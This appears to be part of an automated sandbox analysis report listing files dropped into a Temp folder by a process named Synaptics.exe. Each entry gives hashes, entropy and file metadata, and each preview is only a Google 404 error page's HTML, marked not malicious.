Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="npf706OeeAeN5F81KDLf8Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\qRkso74.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256429488058708
Encrypted:	false
SSDEEP:	24:GgsF+05SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+e+pAZewRDK4mW
MD5:	4A79E050A0FC86E7E72F329E5E54AC8E
SHA1:	EB0B7921704CF72E2CB201A7872C57A1B58CD82E
SHA-256:	4109A7BF09CAE7110E9FB28BD5FB91ABA98C1625CBA7C7C817D2797727A8290D
SHA-512:	C902B78C3A13A525BDEF072632320A865C96250E9584B30874123453212CE5C49494D1026561D68E9F75F9C4FDD2EAF3D11FE5861C9ABDA83FA765A9D2243AA6
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="5XhWkmdW1I8hbA95cjdbjg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\qcqebYK.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264114504131016
Encrypted:	false
SSDEEP:	24:GgsF+06SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+B+pAZewRDK4mW
MD5:	EEFA4A09F048033909093C6D68E5944D
SHA1:	F2044796472A3F48626F6726108320F1579E59D2
SHA-256:	64EDB774416ADE731108E6498F969DA82C023DB4D9EA8727B80FB03B42CD8124
SHA-512:	411F1E32853CAE4583B98FE60CCF2398A41A1253B0C89C7EE67E3C7A255DCA5140D060F929BE20F8C38C606EB2645BEE437782AB4045709FC00AB3B5DC901A13
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="XPLHiJ4Eqb4iLimLYd4h3A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\r9RRw8o.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.253158264490891
Encrypted:	false
SSDEEP:	24:GgsF+0Ymk2WSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Fl2W+pAZewRDK4mW
MD5:	3889A74E84E2555DDC670AAFA59CB89E
SHA1:	1BF79442C18B67C56D90847F31FDC3FF6F8B5949
SHA-256:	33BB2E044A55372DE52107E90E37BD7C0099C7902E90855C26446246ABCD64CB
SHA-512:	711B074D2EBB402D6070A3AB37EA1CDA3C8D29495AAE86FDC8A651CCDE4A5433F548ECF000088379CAC20DDC4D1E2F2FCD129C98375F81EE8E669DC762D1A32F
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="x0sp48kgGlPdeAo9GB_W-Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\rNU6c97.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.255752891854137
Encrypted:	false
SSDEEP:	24:GgsF+0RDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+q+pAZewRDK4mW
MD5:	E2FC764F0413E109889815EC9C091F06
SHA1:	1D1A2598C454A08E0FA090940F8F573F5E3E89E8
SHA-256:	E0360298F144127050AAB5AE2496204FBE4566A38A9F06B51B83CB09E8CB5DC9
SHA-512:	0F769FAAD36C6559520996D26CA50EA5CA3B13AC9291BF81AFB30B12D48DFDDDC05F615C77658866C35D7D82F7E298BDFEBDE4EE18BDC1C370DEEC70A0F0FE56
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="skwU0KNFjOesw6h5auFPkg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\rSbDpvi.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2567806146233975
Encrypted:	false
SSDEEP:	24:GgsF+02fSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+tf+pAZewRDK4mW
MD5:	446E02573546CA28229018DA65789342
SHA1:	0E136E0C08AB548C1E4B3DBFADE7C6F144D6BFA5
SHA-256:	92B876A973373E06910BD7F095763E1EB7630A2D3E355AADFB1DFA02B6864DD4
SHA-512:	A97F1E4644066315E9C342BCB7A14F955C46C2B16C88113765E87F2EF511878C2428D16E71D3D5EC6674A3316DCB35B3EE8E2E71D3BCF113DCEB8E4A297E032E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9E8go_VOnAfWyEzAioedbQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\rupntJ8.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.276964647638277
Encrypted:	false
SSDEEP:	24:GgsF+0zSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Q+pAZewRDK4mW
MD5:	5843474D28C15304F493B23732C4A159
SHA1:	7CFBB3458A26BB0F192D043620D72E07AC523A59
SHA-256:	482E8B0B4816802690DFE6F597A9B88D3C51EB0B86A57566DB47D5F3731B18D3
SHA-512:	0F142670A9499F267143749C67445871BE3ED2569CF20A53754B748BF22DDA72D8907B8D9F06CED54A315E4132A5FF8AC715C2556EF8CC134E1B80A194D80D52
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="MN8O93NPgFFiMAYzzBfNJg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ssZZD8m.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.27225012418581
Encrypted:	false
SSDEEP:	24:GgsF+0rSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+c+pAZewRDK4mW
MD5:	36425999E6C95BF00FA4EB43CE4312F4
SHA1:	56B038A0DEB42CB6A37BAC3E1368C05350ED8074
SHA-256:	C5D904160542E9AC438F33D2C45E42D14AE3A9ECC44EB927F3144C7070FC9A83
SHA-512:	6AC722AFDD4BF07F634F85A7EDA80A8DCAE06094FB64D9BB532F7894E60D1A8B71EAF9BE5AF2D4146C77AF4E2E6C34505085E7B01131145015127341AA80DC3A
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="T3QAoxLGXGQBMj1nGPdRsQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\tjnsQtz.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.269241949670788
Encrypted:	false
SSDEEP:	24:GgsF+0xDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+G+pAZewRDK4mW
MD5:	7480CF65A8343B3C66664A00F905541C
SHA1:	5633EA8B3F2810646FBF3D2A6EE40E21DC7E57F1
SHA-256:	A2981D72383E099813EDEC45F56F2CE721D12255E0F4495161F2A1A29C11E1F8
SHA-512:	BDD36959DC36EFF829CD5E508888740A9FE54E3E1A2F41BB59B72031EAF1DCB89A6EE4B61F566FA5DBA4F58663BF0EC866DC14F80D60C6D307699142548C82D4
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="fIdM5SmQIjJPN3dJoFgc4A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\uKxJvJV.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256390238993604
Encrypted:	false
SSDEEP:	24:GgsF+0XmSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+J+pAZewRDK4mW
MD5:	7B84FE9267A9CE79DE3629B282611998
SHA1:	DC8211A2D16D72F25FE080D30CC4D47D1D7D97D6
SHA-256:	824575217A6A958E3B26DC737C0750A34D8706AA1E4AF4E703867270E2432ED5
SHA-512:	CB62B16B00DD1F472772223EABD3E86713FA942F25ADAC08EC5A0F6B6E709E96B6ACFE7EC2FA94BAD5BCB8F65423AE9C8B6711D37A8495310EC4664375D3BDF8
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="A6k2igjjsnQ_GmkA057fyA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\uXIQ1PB.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261775506479906
Encrypted:	false
SSDEEP:	24:GgsF+03SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Y+pAZewRDK4mW
MD5:	3CD684C1DE626760E5E657886F9E516C
SHA1:	3A9DE57990BCAA928ADE28F6481652BEF7A65715
SHA-256:	E9763D0135C525C21C27A5A32B77D64CCE7BFAF9BF52D1632497E6BEB18E98EB
SHA-512:	838BBEE744B29753D4580B53E3900A6ECF37BF28A0789F97A2809F96D3B7656ECD2E935DF9E37D374A267E61D0480277E28E41D6874DD6DBF63577BCD9C863F0
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Bgne7KYHXI6xmLrfip_5UQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\uxdMoUf.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261408542402958
Encrypted:	false
SSDEEP:	24:GgsF+0+SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+9+pAZewRDK4mW
MD5:	DF46ED8111B66E38E11A2DAE28B6433F
SHA1:	AE8A5C29397C50A4E351BE3932258ACF4410B842
SHA-256:	E74D971535E1C5267A6E8121E42E1B37AE42643A8F82B54886EEECFBF2589EC6
SHA-512:	F088DA87A73F920F43D3B0FEB19FB5AAFC023AB1A51F0766DA26BC62A1358BB67607161FC4BB36726400BE9ACB56BCA61698F223C0D55EFED2B229FF4F45FCE5
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="agZwL1_BzWR1cXiYnd0MWQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\wAwfp75.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2555165724083635
Encrypted:	false
SSDEEP:	24:GgsF+0/SSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+J+pAZewRDK4mW
MD5:	97997C5B4C6E4B7B565D0AEFD8144A7B
SHA1:	A8677AE425B0BB438563C6F7286763F308C7F06A
SHA-256:	0B331F9DE857D0FC259CD137F5C420D18E0972558E49F36AEEAB2BE1EBEDDBED
SHA-512:	C1CE634F5AE59473D44843C0952D3FD93311BFC8591BCB74DF21FDD11727FDA8F492E3323EC0DF499828D04992285848B88D97DAF20088C1C3AE1599E95B5D8C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="bqJVAU6FArlT0frgd0Vpqg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\wQElWSe.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259765741456175
Encrypted:	false
SSDEEP:	24:GgsF+0AzSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+v+pAZewRDK4mW
MD5:	2D6B95C38AE7ADB95B32DD182AE49BBB
SHA1:	3AB522A16A8E1EC9401F0F24E24D53EED0F5D4D7
SHA-256:	277D7BACD8AEBE62E24931D6B5E43558DDB8B19A17AB3C2BDD1D4D4A65D289DC
SHA-512:	45184A489298995F336DA9468774AD46CAF2B3EC92FC7576E99EC100B0741ACB0CB597841935C1EF9A7293226D8A6AD2340225DC98A51366B5DB7884E47C6058
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="S9yDZonqjvLC2LsftiknKw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\wq2Yv8h.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.262960066151528
Encrypted:	false
SSDEEP:	24:GgsF+0MSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+v+pAZewRDK4mW
MD5:	9ACD9818FF5612024F66028112E9E409
SHA1:	64B25C7FEAB9CAA5E48496FEDA47BAA82C38E2C3
SHA-256:	B2B854B0AFA8FE93A3C8CB8DE61B9EE930FEC0A8DC00476E65B2385C36FA976D
SHA-512:	06025182D1A9B662599C7D358E9F7FF1044CAC99CD17DC4FB63A78A21BBD609579E059C1BA0732A1A248C775E6908088A52E8F97305B39EAB70946A48E5CB9D9
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="5momPMjWBhggNj-fOKIiYg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\xB9ywx3.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.247988902297385
Encrypted:	false
SSDEEP:	24:GgsF+0YPSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+f+pAZewRDK4mW
MD5:	ACD36D2641A8F6A3B6DFF10716FFCDCA
SHA1:	4F64459F8D758DEF42BAD49470AC7A4EE257A030
SHA-256:	D88412A5592CA68DA45B6E0B979177260610A1131C47B75C851BAAB628BDB161
SHA-512:	09A28B4774F66EF495B2745D7977259DB8A29DBA18A9D8121356241B86A8FBDB4C27C9C84C09EDC8A38696D71DEE414D9737BEDAE2B6C66A422F6CBE16974CE7
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="FP-EiJip2nmzn-iZxQo1vQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\xML6yge.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.257868762831385
Encrypted:	false
SSDEEP:	24:GgsF+0ESU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+3+pAZewRDK4mW
MD5:	E1D59992C5366E17BEA5D13D7D802FAD
SHA1:	1F96F0814BF2FECF271C547F1B9149840CA75CFE
SHA-256:	D49BECE2D8669113F648792E379E98C0B60803DB9A945335A566657C41C081B4
SHA-512:	FD63E96D139E5188D4FC6DAFC0732495EB8866EEAA3B1359570D934BAFB8607DFB48B7678556A28B597AE58C6251E187F04E35F6BC4404066EAC084DB41FDD98
Malicious:	false
